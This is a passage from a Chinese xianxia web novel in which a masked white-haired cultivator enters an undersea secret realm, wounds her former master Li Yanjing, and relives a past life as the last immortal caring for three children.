我摆摆手,千面陡转,定为孩童笑颜。
逢仙岛上桃花遍布,远远望去灵气氤氲,花满枝头,宛若一场粉色的梦境。
我的到来,让一众修士的议论声戛然而止,他们站在逢仙岛边缘,以门派分类聚集,多为正道人士,魔修位于角落中,人数不多。
抬眼扫去,唯我孤身一人。
没有理会他们,我在众人目光里走向桃林深处,直接坐在石碑上,单支起一条腿,闭眼向后靠在树干上,鼻尖都是灵气和桃花的清香。
见我什么话也不说,他们又慢慢恢复交谈,小弟子们无非觉得我古怪,带队的师兄师姐都是过过各种秘境的人,不会多言。
至于魔修……
“喂,你这是大不敬,这可是传闻仙人降临过的逢仙岛,你就这么坐在石碑上?”
少年戏谑的声音传来。
我慢慢睁眼,动也没动,看向靠近的年轻魔修,视线淡淡扫过,通过远处他同行者的神情,我便知道,这人是魔修中地位最高的。
再细看,他身上的服饰也与那群人不同,更为低调奢华,暗藏玄机。
项野见我不答,双手枕在脑后,舌尖扫过口中尖牙,冲我咧嘴一笑。
“不怕仙人降罪?”
我手臂搁在支起的腿上,歪头轻笑,尾调拖得很长,漫不经心道:“我若怕仙人,就不会来这儿夺他遗物了,不是说仙人已死?石碑又能代表什么?”
项野挑眉,显然我这话极其对他胃口,他伸出手笑道:“说得极是!认识一下?我是项野,你是散修?叫什么名字?”
项?魔修敢姓项的,除去现任魔君,还有谁?
我不动声色地再次打量他,片刻后才想起,被封印起来的魔尊的遗孤,不就叫项野?
魔界少公子来海底秘境,是为他爹吗?
略微思索,千面应心而动,青面獠牙的鬼相顿显,我只轻轻点过他的指尖,没有丝毫敬意。
“握手就免了,少公子。”
项野指尖一寒,收回手搓了搓。
正欲说些什么,眼里兴奋劲儿遮都遮不住,看样子是见我独自一人,白发玄装不似正道,打算拉拢我,一同进入海底秘境。
就在这时,桃林外喧闹骤起,天边传来涤荡心灵的啼鸣,我淡淡抬眸望去。
“玄清宗。”项野皱眉,扭头一同看向天边,“最近他们高调得很,李晏京那个老东西——就是南玄老祖,他出山了你知道吗?”
他扭头看我,悚然一惊,“喂!”
听到项野的叫喊声,我下意识看过去,只见他满脸警惕,手已经搭在腰间佩剑。
我抖着手抬起胳膊,摁住脸上不停变化的千面,发狠用力,指尖都发白,才止住差点失控的鬼面具。
“……没事。”
我低下头,同时,一股强大神识扫荡逢仙岛,从我身上掠过。
那是站在玄清宗众人前的李晏京。
33. 感受不到诚意
李晏京认出我了吗?我不确定。
白发在修真界并不罕见。
那他会想起我吗?
我拿开手,看着项野,等把他瞧到如临大敌时才出声,笑意闷闷的从面具下发出。
“紧张什么?少公子。”
项野喉结一动,没承认,手仍搭在剑上,笑道:“你这是怎么了?和玄清宗有深仇大怨呢?刚好,要不要和我们一起?那群正道修士只会用鼻孔看人。”
我思索片刻,那边玄清宗已然降落逢仙岛,飞舟消失,众人落地,其他门派上前相迎,一时间沸反盈天。
我收回视线,望向满目桃花,伸手接了一片落下来的花瓣,收拢掌心,柔软的花瓣仿若无物。
“不了,有缘再合作。”
项野单手托着下巴,目光在我和玄清宗人士之间来回扫荡,若有所思。
我重新仰头靠回树干,逢仙岛或许因为沾过仙气,岛上桃花终年不败,愈开愈盛,坐在石碑上看天空,唯满目粉色桃花泪。
再闭上眼,能听见岛屿边小门小派想攀附玄清宗的交谈声。
听闻海底秘境午时开启,那么现在还剩半刻钟,不用出头,安安静静待着就是。
时间过得很快,整座岛屿轰隆一声,树上的桃花被震落大半,铺了一身的花瓣,千面也被盖住,鬼相不喜这味道,顿时,寒意侵蚀得更加厉害。
我睁开眼,抹掉千面沾上的桃花花瓣,抬眸望向岛边,所有人的攀谈都被这动静打断,他们各自抓紧自己的武器,严阵以待。
午时已到,海底秘境即开,天地风云骤变,平静的海浪瞬涌波澜,狂风呼啸而过,朝着逢仙岛吹来。
前方众人齐齐祭出灵力,罡风撞击在护罩上,再过桃林时,已经并不强烈,只有岛屿边缘的风,将桃木连根拔起,摧毁一片美景。
我位于他们后方,并不出力,慢条斯理地掸去身上的花瓣,在所有人中是最悠闲的。
晴朗的天暗得很快,雷声阵阵,乌云顷刻间就聚集于海面之上,狂风渐渐停歇。
接着,波澜的海面中央开始出现一个不断扩散的巨大漩涡。
同时,海底深处,传来一声极其沉重的嗡鸣,无形的波荡出,带着可怖的威压,直直扫向逢仙岛的修士们!
在场的众人都能感觉到那致命的气息,脸色瞬时大变,当即就要翻找保命法宝。
眼看着那气息越来越近,李晏京浮空而立,出现在最前方,袖袍翻飞,神色淡淡,只单手划圈送出一股力,掌心轻推,两者便悍然相撞。
那声音带来的气息被打散,消失不见。
得李晏京相救的所有人都松了口气。
我扶着桃花树,望着那道背影,静默不语,感到疼痛时,我才发现手指扎进木刺,拔下后指尖溢出了血珠。
很快,千面的鬼气覆过,手指恢复如初。
在李晏京回头之前,我旋身藏在桃花树后,低下头屏息,等他们化作流光,先一步进入秘境。
我是最后一个离开的。
遁入海中,逢仙岛的海水冰凉黏稠,带着对灵力的压制,我被卷进漩涡,顺着向下。
须臾后,双脚落在实地,我睁开眼,浑身清爽干净,并无海水。
周围是丛生的植株,头顶为一轮月白的太阳,耳尖轻动,我拔出暗月剑跃起,转身将剑挡在身前。
千面同时转成鬼相,直面眼前的人腹炽蛛,蛛腿尖利,划过暗月剑,我翻手向后,金索窜出,一端绕于远处粗壮树枝,我轻轻一拉,人便撤离原地。
人腹炽蛛高高扬起两只前肢,狠狠戳在我原本站立的位置。
扑了个空,这令它的愤怒更上一层,人腹炽蛛再次抬起上半身体,位于其巨大腹底的人脸慢慢睁眼,全红的眼珠对上我后撤的身影,发出颤动的怪异鸣叫。
千面阻隔其带来的震慑,我后翻立于树枝,单手扶于树干,居高临下看着它,金索收回。
我引动腹中上古幽冥火,双手持握,剑尖对准人腹炽蛛,面具之下,眼底闪过青色光芒,幽冥火将灵脉的寒意驱逐,很快千面又愤然反压。
暗月剑旋转,我松开手,眯起眼睛,并指对人腹炽蛛滑动。
“去。”
暗月剑经过碧泉镇,灵动不少,我给些灵力轻唤它,它就知晓该如何做,长久以往,生出剑灵只是时间问题。
关于我要寻找的“泣株”种子,那本书中写得模糊,据说位于海底秘境的仙殿中。
可这地方有多大,仙殿位于何处,秘境开放多久,何时关闭,都是未知。
此时只能凭借运道。
我抚过手腕的手镯,一寸寸摸过上方的花纹,等暗月剑回来后,跳下高枝,把那脸剜下用土掩埋,腹部缺口的空洞里则是火红的妖晶。
储物戒我用的仍是李晏京送我的那个,空间足够大,而且里面还有些之前剩余的法器、灵石、符箓等,我不至于丢掉它们。
妖晶这东西祝青蚨想必用得到,得存些作为筹码,以便交易使用。
海底秘境灵气充沛,千面覆盖,我能感觉得到。只是灵脉尚未修复,于我而言,此地秘境的环境仍无太大作用。
那些吸收的灵气迟早会消散,不如直接使用幽冥火来得快捷。
秘境虽大,却还是能碰到不想看见的人。
仙殿难寻,本欲找地方休息,合适的山洞没找到,倒是有个位于秘境中的竹屋。
其安静立于倒流的灵韵瀑布边,被篱笆围绕,附近也没有妖兽、灵兽,是个安全的落脚处。
推开门,踏入其间,李晏京刚好从屋内走出,他身形一顿,我暗道晦气。
“不知这位长老在此,这就离开。”
说罢,我就要后退。
李晏京却是皱眉,身形一闪出现在我身边,我二话不说拔剑,直接刺穿他的肩膀。
听见闷哼声,我微微一愣,但陈青芜决然赴死和程月舒胜者模样的身影交替在眼前闪过,令我很快回神。
欺我、违我、叛我。
血顺着剑身血槽滴落,和那双熟悉的眼眸对视,我脸上的千面转为最凶恶的鬼相,有我心中的百感为基,邪异鬼气暴涨。
他抬手要去摘我面具,我身体后撤,双手握剑拧转,随即拔剑,故意要他尝到疼痛。
“郁负雪。”
李晏京声音都没抖一下,专注地看着我,肩膀的血迹范围扩大,我轻甩暗月剑,一道血弧落在这院中的草地上。
“这位长老叫错人了罢。”
我笑着歪头,声音愉悦,千面也蠢蠢欲动,隐约间变幻万千。
程月舒和
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他分开了?李晏京故意蹲守我?
“我想起来了,玄清宗的带队长老?听说此次陪同弟子们前来的是大名鼎鼎的长垣仙君,您就是?”
李晏京肩膀的伤应该已经愈合,他沉声道:“郁负雪,别胡闹,把这面具摘了,它于你身体百害而无一利。”
“我哪样了,李晏京?”我侧身,捏紧手中的剑,“这面具分明是百利而无一害,事到如今,你还想怎么样玩我才满意?”
“我从未戏弄你。”
我心情不知怎么回事,见他皱眉纠结,为我烦恼,竟是格外愉悦。
我背着手,在院中踱步,走过一个来回,我忽地扭头,脸上的千面在笑。
“李晏京,别动,不然我不确定我会做出什么事来,你知道的,我就算自爆,也不会让你得到我的身体。”
李晏京果真收回迈出一点的步伐,他道:“郁负雪,如果你是为陈青芜这样,我只能和你说,很遗憾,那是他的命。”
我冷冷地隔着千面凝望他,半晌,等那股亢奋劲可控后,才啧啧地摇头,“不对,师祖,我感受不到你的诚意。”
“……郁负雪。”
意料之中,南玄仙尊的地位岂容我三番五次的触动,先前是给我脸面,让我几分。
我看着他,面具的眼睛笑得细长,“您远不及您割下来的欲念鲜活,道歉也不诚恳,说话又只会叫我名字,乏趣、无味,还不如成精的虫子。”
话音刚落,脚下青草地上亮起青光,我下意识便要抽身远离,但有股强大的吸力锁住我的双脚。
我低下头,发现刚开始甩出的血迹不见了,柔软的草也无风自动,轻轻摇摆。
再抬眸一看,李晏京居然也被困于地面,不得挣脱!
繁复的法阵浮起,不给人丝毫反应的时间,失重感传来,倒流的瀑布声和李晏京压抑的呼吸声远去,我的眼前一黑。
“仙人!仙人!我把荷花酥买回来啦,你尝尝!”
“嘘!不要吵,仙人又睡着了。不过,最近他是不是睡得越来越多了……”
“不知道啊,他想睡就让他睡呗。”
我微微皱眉,耳边混杂着各种声音,贩夫走卒,鸟鸣鱼跃,多种多样。
尤其是几个孩童的争吵声,好像就着让不让人继续睡的问题,都快要打起来了。
我这是在哪里?
对了,秘境中的竹屋。
然后呢?
碰见李晏京,我伤到他了,很稀奇。
紧接着又怎么了?
叮铃一声响。
我猛地睁眼,迅速坐起身,想抓暗月剑却抓了个空,身形不稳,差点栽倒下去。
定睛一看,我正坐于老树延伸而出的枝干上,刚刚是躺着的。
向下看去,就和三个揪打在一起凝小孩对视,三人瞬间凝固动作。
他们眨眨大眼睛,反应过来后迅速分开,背过手低下头,站成一排,声音如若蚊吟,向我认错。
“仙人,你醒了。”
“仙……仙人,你不要生气,我们不是有意打架的。”
默然片刻,我垂眸打量自己的服饰,淡蓝云纹长袖衣,腰间挂一小巧铃铛——那叮铃一声便是它从枝干边滚落悬挂住发出的。
“仙人?”
我?
34. 我会努力变强
从斜伸的老树枝干上跃下,腰间轻巧铃铛再次轻响,叮铃——
只恍惚片刻,我便想起,我睡着了,好像还做了个悠长的梦。
具体是什么,我记不清,约莫是曾经在白玉仙都生活的日子罢。
自从好友们合力送我出仙都,来到人间,我就知道,我要成为这世上最后一个仙了。
我深吸一口气,看向晴朗无云的天空,缓缓将胸腔内的浊气吐出,低头看向面前三人。
“你们几个,在吵什么?不是说过了,不要和我走这么近。”
中间那个较为沉稳的人衣服松垮,前襟鼓鼓囊囊,他迅速抬眸看了眼我,掏出怀中的油纸包,双手捧着上前。
“荷花酥,你曾说过你想吃。”
站在他右边的那个小孩来回用鞋尖碾着地上的土,站没站相。
我没慌着接,背在身后的手轻轻一弹,白光闪过,右边的小孩立刻抱着他那条腿,原地单脚转着蹦。
“哎哟!仙人!你就偏袒燕子!我的脚要坏了!你……你负责!”
我淡笑,手指一勾,那油纸包便飞入手心,点心还带着余温,层层叠叠的纸打开,荷花酥撞在一起碎了些许,但总体保存尚可。
“项席,我哪里偏袒他了。”
项席没听出数落人的意思,大着胆子单腿跳到我身边,身子一歪朝我靠来。
我单手托着点心,另一只手用剑鞘抵住他的背,轻轻一推,他就顺势舞着双手旋回去,一副昏头昏脑的模样。
“我好晕啊……”
重新包好点心,我看向左边的那个怯懦小孩,冲他招招手,“付渚,过来。”
如果直接还给李晏京,这小孩肯定是不会要的,他脾气倔得很,最喜欢默不作声地盯着我,和我无声对峙,我体谅他是凡人小孩,不和他计较。
付渚这小妖化形早,原型为一只叫“夫诸”的鹿,性子温和,胆子小,另外两人都不知道他是妖,只以为是个窝囊的小孩。
项席没少欺负付渚。
我弯腰把油纸包塞到付渚怀里,他第一反应是去看站在一旁被忽视许久的李晏京。
“我不吃,你们拿回去。”
不出所料,一转头,就对上李晏京黑沉沉的目光,我不喜欢他这眼睛,总能让我想起天外天暴动,白玉仙都尽毁之事。
“怎么?”我直起身。
李晏京稍稍仰头看向我,抿紧薄唇,“是不是我们又擅作主张了。”
这其实无所谓。
可我嗤笑,面对李晏京,我甚至不愿多说其他的字,淡声道:“是的。”
他们还不知道自己未来的命运,我窥见一角,但我无力阻止,我不是众仙中心地善良的那个,可我却背负着他们的希望,可笑。
李晏京就这么看着我。
我垂眸审视他,不带丝毫感情。
目送他们离开,我回到这破庙,静静在施了法后干净的蒲团上跪坐,手搭在膝上,袖袍平铺,不染尘埃。
庙里的神像已经缺失头颅,只剩魁梧的身躯抓着长戟,战袍下摆扬起,如凭风而立,单看外表,定是一位极其凶悍的神仙。
顶上破开的洞照下一束光,细小的尘灰浮动,我阖上眼眸,双臂交错,从手肘平移到指尖,合十双手,再度拉开,周身散发出一层柔和的光芒。
由不同小阵相连构成的玄妙阵法出现在掌心中央,散落在身后的发丝无风自动。
但这一切都没有波及庙内任何事物,那道光.柱中的尘埃仍慢悠悠地飘动着。
那大量的光芒离体而去,钻入神像体内,瞬间化为点点星光般的灵力,向世间各处融去。
“付渚说的没错,郁负雪,就算你是仙人,你再这样下去,也只会睡得越来越久。”
我放下手,发丝重新落回背上,眉头轻蹙,扭头看向单脚踩在门槛上的李晏京。
“我允许你叫我名字了?”
须臾间,我立在李晏京面前,单手掐住他的脸抬起,李晏京只因疼痛轻耸鼻尖,很快压下表情,我垂眸,没松手,力道丝毫不减。
“滚远点,没听见?”
李晏京轻扯嘴角,见我没反应,又放弃笑这个举动,“仙人要杀我吗?”
“是,你这小孩不讨喜,分明该玩乐的岁数,偏生往我跟前凑。”
我收手,一挥袖,李晏京便被击飞,在庙前石路上滚了好几圈,我语气轻飘,“打也打不走,骂也骂不听。”
“不杀你,留着烦心?”
李晏京蜷缩在地,捂着肚子,声音闷在口中,我没有看下去的兴致,拂袖便要回树上继续睡,白玉仙都再无处可寻,我只能去梦里复觅亲友与良师。
只是没走几步,衣摆被拽住,我停下脚步,轻叹一声。
李晏京又跪下去,一只手捂着腹部,另一只手死死抓住我的衣服,仙力勾勒的法阵只浮起一瞬,什么恶意也没有,又暗淡消散。
“别走,郁……”李晏京的声音颤抖,感受到我骤变的气息,他咽下我的名字,改口道:“仙人,果子你不喜,荷花酥你不喜,你告诉我,你喜欢什么好不好?”
我向前踏出一步,李晏京一个踉跄扑在地上,手还抓着不放。
他这是做什么?
无法理解。
其他两人并不像他这样。
“我会为你建庙宇、聚供奉。”
我没有理他,向前走出一步,身后拖拽的声音响起,沙粒和衣服摩擦,呲啦——
“攒信徒、凝信仰?”
又是一步,李晏京手中衣袍脱离一瞬,他向前一扑,再次揪住,这次是双手。
“我会成为你最忠诚的追随者!”
我倏地停下脚步,看着院中半歪的老树出神,李晏京知道他在说什么吗?
孩童的玩笑话,我自是不会信,但这句说出口,无形法则驱动下,就容易成为连接我和他的因果了。
早知如此,不如在初次见面时让他被人顺利卖掉。
未来的正道第一人不一定得是李晏京,时间尚且充裕,我完全可以推别人上位,何必是这么个……牛皮糖。
半晌,我只淡淡挑眉道:“不够。”
李晏京听出什么,连忙爬起来绕到我面前站定,灰头土脸的,唯有眼睛发亮。
“我会努力变强,踏入修真界,我想跟上你的脚步,想成为站在你身边的人。”
我头也没低,只是从上而下睨着他。
“凭你?”屈指一弹,李晏京捂着肩膀闷哼一声跪下,“我很讨厌人的纠缠,李晏京,你自说自话一番,可考虑过我的感受?”
我没落下他指尖一抖的画面,无声嗤笑。
连引气入体也未曾的一个孩童,大言不惭,不知出于什么心思,妄想追随仙人。
愚蠢、痴笨。
李晏京慢慢站起,呼吸微乱,
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他放下手,再抬起头时,眼神依旧专注,模样认真。
他反复张嘴几次,在我耐心耗尽之前,他说:“那我就默默在您的身后。”
赶走李晏京,头晕之症再次发作,我来到那根粗壮的树枝下,轻轻一翻,躺了回去。
幼小白鹿踩着软蹄跃进来,我半睁开眼,冲它勾勾手,付渚小声叫了一下,轻轻蹦跳而来,在树根处停下。
“上来。”
我伸手虚虚托起它,付渚的四肢慌乱一瞬,很快放松下来。
“荷花酥还给他们了?”
付渚用鹿鼻蹭了蹭我的手心,“呦呦。”
我轻笑,收回手,一下又一下抚摸它的背,“没事,刚刚就像缝衣服、除害虫一样,不是什么危险的事。”
付渚在枝头伏下身体,闻言又叫了两声。
“你?”我摇头,“你就是只鹿,能帮什么忙,你连项席这个凡人都打不过。”
付渚垂头丧气地趴回去。
我想了想,翻手取出一只暗沉的镯子,抬头丢在付渚的鹿脑袋上。
“送你了,别操心那么多。还有,少跟项席玩,最近我要睡一段时间,他欺负你,你会找不到我。”
付渚晃晃脑袋,豆豆眼想往脑袋顶上看。
我闭上眼,因头疼轻皱眉头,很快松开。
“……嗯?”付渚在我耳边问镯子的事,我打起精神,意识回归一瞬。
“这个?你戴着修炼,不要随意摘下来。付渚,万不可进阶过快,上界出了些问题,等我解决再说。”
付渚把镯子晃下来叼住,疑惑歪头。
“我刚刚?和我刚刚……无关。”
仙力能抵多久我不知道,这一梦,我再次回归梦里虚幻的白玉仙都。
人人都想成仙。
修士渡劫后飞升,入住的便是白玉仙都,里面那都是真真正正的仙。
凡间大乘期、渡劫期的修士的能耐,均与之相差甚远。
飞升后,凡间于我而言如同前世,不值一提,可仍有人未了结因果,红尘仍在,或道途使然,仍爱这世间。
因此,当天外天那头的封印骤破,仙都惨遭侵入时,大多数仙者的第一反应是——
封锁仙都通往凡间的大门,断了凡间通往白玉仙都的登仙路。
“你们敢推我下去试试!”
那天,我失去了往日的风骨,再难端着架子,只能瞪着眼睛看向挚友们。
他们居然在短时间内就成功说服了我养的仙兽们,联合它们一起,将我逼到仙都门前。
他们相视而笑。
“对不起,郁负雪,实在没办法啦,你比我们都有能耐,凭白死在这儿白花花的仙都,多不好啊。”
“如果还有机会,你再回来教训我们吧,我一定趴好不还手!”
“我也是,到时候我的酒全送你,可行?别生气了,好可怕,他要宰了我!快快,大伙给点力,我要推咯,一……二……”
光芒凝聚,我愤然相抗,可就算我再强,也难挡众人合力倾推。
从仙都上落下去是什么感觉?
心脏跳得最为厉害,耳边一阵嗡鸣,但他们的话清晰无比,我一时间生不出任何情绪。
“好好活着,郁负雪。”
“替我们看看现在的人间呗。”
所有情绪戛然而止。
唯有仙都大门在我眼前轰然关闭。
35. 我并不会痛苦
凡间的时间逃得极快。
再次醒来,已是物是人非。
那时在树上常能听见的吆喝声没了,取而代之的是私塾的讲课声,还有孩童问先生——
“何为乱世?乱世为何?”
“现在即为乱世。仙家打架,凡人遭殃,各大门派层出不穷,不做一修者,便使高材人。孩子们,先生我是两者皆不可得了,你们需择一道努力,作为小鱼虾似的我们,才能在这天地罅隙里存活下去……”
砰地一声,门被踢开,打断老先生的娓娓道来,他声音发颤,直呼道:
“诶!诶!各位仙长!”
孩童们同样惊呼,先生颤颤巍巍迎上去,熟练地行礼,姿态和声音十分恭卑。
“教什么呢?老头子?”
“回仙长的话,我是在教他们……何为道,逢乱世,生于这片地界,理应心向独步庵,为门派做贡献……”
那人嗤笑,猛地踹翻老先生桌上的竹简书籍,转头问惊慌的孩童们。
“抖什么?我且问你们,当今世道,何派得以问鼎道首?”
沉默片刻后,稀稀拉拉的声音响起,间或夹杂着细如猫吟的呜咽。
“……是独步庵,仙长。”
那人得意至极,拖长语调笑道:“甚好,现在,一个个上前来测资质,我看谁能有幸成为我们独步庵的人。”
小门小派,从未听过。
再往远处,魔气和灵气交杂,山野里还有躲藏的妖,刚化形,便迫不及待下山寻找机缘,修士的心为大补之物,妖、人敌对明显。
魔修乐于搅乱浑水,世间怨与恶越多,他们则愈加强大。
现在已经如此乱了?我这次睡过去多久?登仙路所在被蒙蔽,凡尘正分崩离析,我又还能坚持多久?
独我一人,如何背负仙都众人的期望?
皱起眉头,我微敛五感,摒去嘈杂的声音,向老树旁看去,那破破烂烂的庙不知被谁修缮了一番,陌生得我险些认不出来。
闭眼稍稍掐算,登仙路的画面闪过一瞬,很快被一双无形的手掐灭。
紧接着,画面陡转,白玉仙都众人鏖战不息,世间各处悄无声息地溢散出光粒。
天上死去的仙,天外天死去的外魔,凡间红尘各类的灵,无形的力量均向着天上汇聚。
它在遮掩登仙路,它在吞噬这世间。
忽地,一股充满恶意的目光和我神识对上!悍然之力朝我刺来,直接与我双目接触!
我猛地睁眼,闷哼一声从树上跌下。
“天道……”
我咬着牙抬头看天,眼角渗出两股血泪,金色的仙力掠过双眸,痕迹便消失不见。
站直身体,走向旁边的庙宇,里面无人看管,断裂的悬梁以及顶部的大洞不复存在。
中间壮硕的神像被重新雕凿,新模样诞生,两侧各半垂幕帘,刚好遮住神像的样貌。
我跨过门槛走近,那些缥缈向上的香就轻轻绕到我的身周。
行至供台前,探身望去,一个和我七八分像的神像屹立于此,眉眼低垂,威严清俊。
不知怎地,积攒的郁气消去不少,我笑了一声,好似看见那个胡乱许诺的小孩。
其实还不如先前那尊神像有气势。
“……仙人?”
身后传来一道声音,我微微一愣,回头看去,是拿着湿布巾,站在阴影处的付渚。
他业已长大,穿着的不再是捡来的破烂衣服,像模像样的着一身玄白双色的弟子服,手腕上是我当初给他的镯子。
“付渚,另外两人呢?”
付渚浑身一凛,回过神来,先是对我笑,神情欣喜万分,跨过门槛时差点摔一跤。
他小跑到我面前仰起头,“您醒了。”
我轻弹他的弟子服,感受到极弱的法力波动,一个低阶魔物就能破开,再看他仍是这胆怯的性子,我猜想这只小鹿过得并不好。
放下手,我轻声夸赞道:“入门派了?不错。”
我再次询问,“另外两人呢?”
他捏紧手上的布巾,抿唇嗫喏半晌,低下头,很不好意思地对我道:“……燕子和项席天赋高,被大门派收走了,我……我辜负仙人的期待,只进了个小门派。”
这在我的意料之中,我没有苛责他的意思,他们尚未成长,可我还未亡,尚有余力再撑一段时间。
“没有,付渚,你并不比谁差,不必过于急躁,你与他们不同,修的道也不同,明白?”
“付渚明白。”
我继而看向他手中的湿布巾,有些疑惑。
“你来这是打扫什么?清尘诀能解决的事,何必动手。”
付渚低下头,脑袋上的发旋隐在发冠之下,我只能看见他的手攥紧一瞬,未等我细想,他再次抬头,笑得腼腆。
“来擦神像,因为觉得亲手擦会比法术更真诚一点,希望仙人你快点醒来,不要那么痛苦。”
我轻怔,随即摇头。
“付渚,我并不痛苦。”
他闻言,很乖地弯起眼睛,没有再问我这次身体的状况。
彼时我还在看这焕新的庙宇,想起李晏京屡次纠缠的场景。
不知项席那个滑头的,和李晏京那个古怪的小孩如今长成什么样了。
接着,我听见付渚仰头问我,“那——仙人,你喜欢我为你重塑的这座庙宇吗?”
我目光微动,他说的意味深长,语气做作得拙劣,我神态自若地垂眸看他,半晌淡笑。
“什么?”
付渚重复一遍,语气更加小心翼翼,像是觉得我不喜欢他如此擅作主张。
“仙人不喜欢吗?”
他这谎言说的半点磕巴也不打。
模样倒仍是怯懦,可那眼睛不再干净了,多出翻腾的野心和我厌恶的力量——就在刚刚,来自天道的恶意。
他在改变,和我曾经窥见的命运靠拢。
付渚不满于现状,他想成为妖尊。
我知道人心难测,却不想还只是一只小妖的他,现在就敢在我面前撒谎,我掌心凝出沉静恐怖的仙力。
想起他常在两人走后化作小鹿陪伴我,担心得呦呦鸣叫,我动作微顿。
我只放过他这一次。
“付渚,”我望着他,还是撤去力量,语气难掩失望,“你对我撒谎,想必是知道了什么。你既然选择了天道,又何必再来找我。”
与其将现在这个已知的点破坏,不如放任他,以免未来的变动过大,仙都众人和我的所为均化为泡影。
付渚的脸色白了个干净。
掐指算出李晏京如今所在门派,我同付渚擦肩而过,他在身后叫我。
我回过头,年轻妖尊的身影瘦削,在同龄人中仍属发育不良,他追着我跑出来,狠狠绊倒在地,尚未被人踏平的路粗糙,他抬起头,鼻子和下巴都磕出了血。
李晏京被一个叫皓月宗的门派收纳,位于山灵水秀之地,占据一方天地灵脉,如果发展顺利,成为大宗门只是时间问题。
我出现在皓月宗上方,神识扫过,很快锁定了和人站在山崖边的李晏京。
轻轻晃动身形,我悄无声息地来到他们身后的树旁,李晏京身边站着一衣袍繁复的男子,二人背对着我望向云海。
“晏京兄今年也不回凡尘去看看吗?”
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李晏京:“不回。”
“就没有牵挂之人?”
李晏京没有回答,那人也不在意,笑得很淡,“看来是没有了。说起来上次还得多谢晏京兄的帮衬,不然我可当不上这大弟子。”
“能追随殿下是我的荣幸。”
“好好好,”一连三声,可见那人多喜欢这句话,“得晏京相助,是我的福分,待我坐上皓月宗宗主的位子,想要什么,我都给你。”尾音竟是暗藏柔情。
我走出一步,踩断地上的树枝,声音惊动两人,李晏京迅速回身祭出一剑,直指我的咽喉,在看清我的面容后瞪大了眼睛。
剑与仙力相撞,我两指夹住剑身,稍一拧转,那凡剑瞬间断裂,铁片落地,最后剑柄砸在地面。
那人挡在李晏京身前,神情冷肃。
“阁下是何人?”
这位“殿下”与我长得相似,举手投足自带贵气,周身运势不凡,暗含天赐玄机。
我只看他片刻,他就压不住心思,用眼神肆意地爬过我的全身,全然的上位者姿态。
我敛眸转着手指间的断裂剑尖,嗤笑一声,我很少会对谁露出嘲讽的神态,只因多数人都难入我眼,而眼前这人……
“同我几分像的赝品罢了,李晏京,这才许久未见,你想追随的人就换了一个,是吗?”
我垂下手,看着站在一起的两人。
李晏京觉出我声音不对,他急忙从那人身后绕出,想解释,“不是的……等一下!”
他立刻伸手去抓。
但我甩出的剑尖更快。
剑尖碎片刚巧从李晏京的指缝穿过,洞穿了那人的胸膛,鲜血从伤口涌出,溅在李晏京的手背上。
身后平静的云海被碎片蕴含的恐怖力量划开,翻涌不止。
静谧和谐的景象被我破坏得干净。
一个天道的傀儡,我不小心遗漏的虫子,胆敢舞到我的面前,摆出一副主人的架势。
我冷冷地看着那人倒下。
李晏京扭头,看向逐渐蔓延到他脚边的血,让了小半步又停下。
我负手而立,“李晏京。”
他低下头,看着那个“殿下”的血沾到他的靴边,才应声道:“我在,仙人。”
他早已剥去幼时执拗的莽撞,所有情绪全藏在心里,分毫不露。
我看不见他那年跪着唯要我的虔诚,也猜不出他此刻的想法。
断他佩剑,弑其所忠,皆不问缘由。
他在恨我吗?他在惧我吗?
付渚、李晏京已经被盯上,那项席呢?
“好自为之。”
我转身欲走,腰身忽然多出长鞭环绕,没有犹豫,我直接将其震碎,暂时歇下用大衍诀算推演未来的心思。
“仙人留下这个烂摊子不管,就这么直接离开?这就是白玉仙都仙人的作风吗?”
李晏京的声音传来。
我指尖轻弹,仙力裹住那人的身体,化成白焰燃烧,“你待如何?问责本仙?”
李晏京目光灼灼,等白焰都快沾到他衣摆他才退开,在此期间他始终望着我,见我没有丝毫波动,李晏京垂眸,“不敢,皓月宗李晏京恭迎仙人到来。”
我一个闪身,单手掐住他的脖子,面无表情将他抵在旁侧的石壁上。
忽视他疼痛的闷哼,我淡笑一声,亲切地念道:“晏京?晏京,不要和我耍心眼,我刚从付渚那儿过来,心情不是很好。”
“你知道的,你们三人我最不喜你,所以不要等我问。知道什么,自己说出来。”
眼前的一切定格,腰间铃铛轻晃。
我的意识骤然抽离。
36. 偶遇项野此人
我不知从哪儿跌了出来,自高空极速下坠。
下意识朝旁看去,海底秘境极大,远处各种术法灵力的颜色交错闪烁,树木倾倒大片。
有那么一瞬,我的思维是混沌的,闭上眼,我感觉自己和幻境中从天上白玉仙都坠落的仙人有所重叠。
但很快,千面的寒意裹挟全身。
我猛地睁眼,清醒过来,旋身向下,千面爆出大团黑气,蠕动着将我牢牢包裹,只见黑色一团快速下落,轰地一声,我砸在地上,并未受伤,黑气缓缓缩回千面。
我俯身撑在地上,想起那幻境中经历的一切,不由得紧蹙双眉,用力捶打脑袋。
“刚刚是……”
传闻中海底秘境是最后一位仙人所留,如果幻境中的一切都是真的,之后发生了什么?
那个仙人是我?还是任何人触发幻境,其仙人角色都会变成他自己的身影?
但我直觉那“郁负雪”就是我。
所谓的前世。
“可是迄今为止所有记载,除去有‘最后一位仙人’记录于野史,正魔大战前后所有典籍均未有过什么仙人的身影。”
我并指操控灵晶照亮周围,缓步行走于林间。左手持剑,棱状晶体在我周身环绕,秘境的白日已经过去,此地凶险,压制修为,我不得不小心应对。
李晏京也不知去了哪里,掉落的过程中没看见他,莫非仍在幻境之中?
什么也没说便意外分开,我有些不甘。
我倏地停下脚步,反手便是一剑挡在后背,剑与剑相撞,来人后撤,我直接转身,推灵晶刺向他。
灵晶裹着幽冥火的气息袭向对方,项野踏步后仰,挥剑击去,上半身隐没在黑暗,他在看清我面容后忙出声。
“等下!自己人!”
“少公子,谁和你自己人?”
我挽了个剑花蓄势站定,那颗灵晶被项野击碎,碎片落在地上,光慢慢淡下去。
项野踉跄后退几步,笑嘻嘻道:“别这么绝情嘛,这位朋友,你一不告诉我姓名,二不告诉我门派,我到现在都没追究过,够给面子了吧?”
我微抬下巴,不答反问,“少公子在这儿做什么,手下人呢?一个个的不跟在你身边,不怕你交代在这儿?”
项野倒是有几分幻境中项席的模样,不愧是父子俩,不正经像是刻在他们血脉里的。
他晃晃脑袋,咧嘴一笑,语气是浑不在意,“秘境太大,进来我们就分开了,刚刚倒是有两人和我一起,不过已经死了。”
项野说得轻描淡写,仿佛人命如纸薄。
“怎么死的?”
我略微沉吟,此时,秘境上空遮挡的黑云慢悠悠飘走,露出两个圆润的月亮挂于天空。
两轮明月?我下意识看过去。
银白的月光从项野后方洒下,随着云移开,范围渐渐往这儿扩散。
